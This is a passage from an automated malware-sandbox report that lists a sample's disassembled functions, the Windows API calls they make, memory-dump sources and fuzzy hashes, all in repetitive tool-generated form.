1033, xrefs: 0040334E

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3144792594
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ad4472eb048fd4f86da61da74e9e5b3811a19dd42f4402be3bbdcdbc4c44a188
Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
Opcode Fuzzy Hash: ad4472eb048fd4f86da61da74e9e5b3811a19dd42f4402be3bbdcdbc4c44a188
Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: c87ee951b69e9287724da4c2fa38da0a671d257472e11f53d94c14b3c1b0481d
Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
Opcode Fuzzy Hash: c87ee951b69e9287724da4c2fa38da0a671d257472e11f53d94c14b3c1b0481d
Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD

Function 00402454 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000B80,00000000,00000022,00000000,?,?), ref: 00402C6C

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402483
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402496
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 517814c6f651ee240b61b165206d5ac0b3e0be0642415c803f06eaab78b10a68
Instruction ID: d1cba53e09d25e0e4976289683f2ac1bdc9fdbf0613ee45d63c2eeb4b4bf5101
Opcode Fuzzy Hash: 517814c6f651ee240b61b165206d5ac0b3e0be0642415c803f06eaab78b10a68
Instruction Fuzzy Hash: 8AF0D1B1A04204AFEB148FA5DE88EBF767CEF40358F10483EF001A21C0D2B85D41DB2A

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000B80,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nshD4CB.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 46721b92d40d640d2f6aadb643be8dc990b493bf81be5550ca0503008034f64e
Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
Opcode Fuzzy Hash: 46721b92d40d640d2f6aadb643be8dc990b493bf81be5550ca0503008034f64e
Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 004022D5 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,00000B80,00000000,00000022,00000000,?,?), ref: 00402C6C

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F4
RegCloseKey.ADVAPI32(00000000), ref: 004022FD

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 816fb59d23b0977f6ef732cd369a029ecaf090c0f9f3f491ff21e0f5ffc01560
Instruction ID: f65991dd8835b810368ef95f62892a142216c4200c100bb05ab411dbf566f3c1
Opcode Fuzzy Hash: 816fb59d23b0977f6ef732cd369a029ecaf090c0f9f3f491ff21e0f5ffc01560
Instruction Fuzzy Hash: D5F06272A04210ABEB15AFF59A4EBAE7278DB04318F20453BF201B71D1D5FC5D028A6D

Function 00405B56 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\________.exe,80000000,00000003), ref: 00405B5A
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16

Function 00405B31 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405736,?,?,00000000,0040590C,?,?,?,?), ref: 00405B36
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405B4A

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
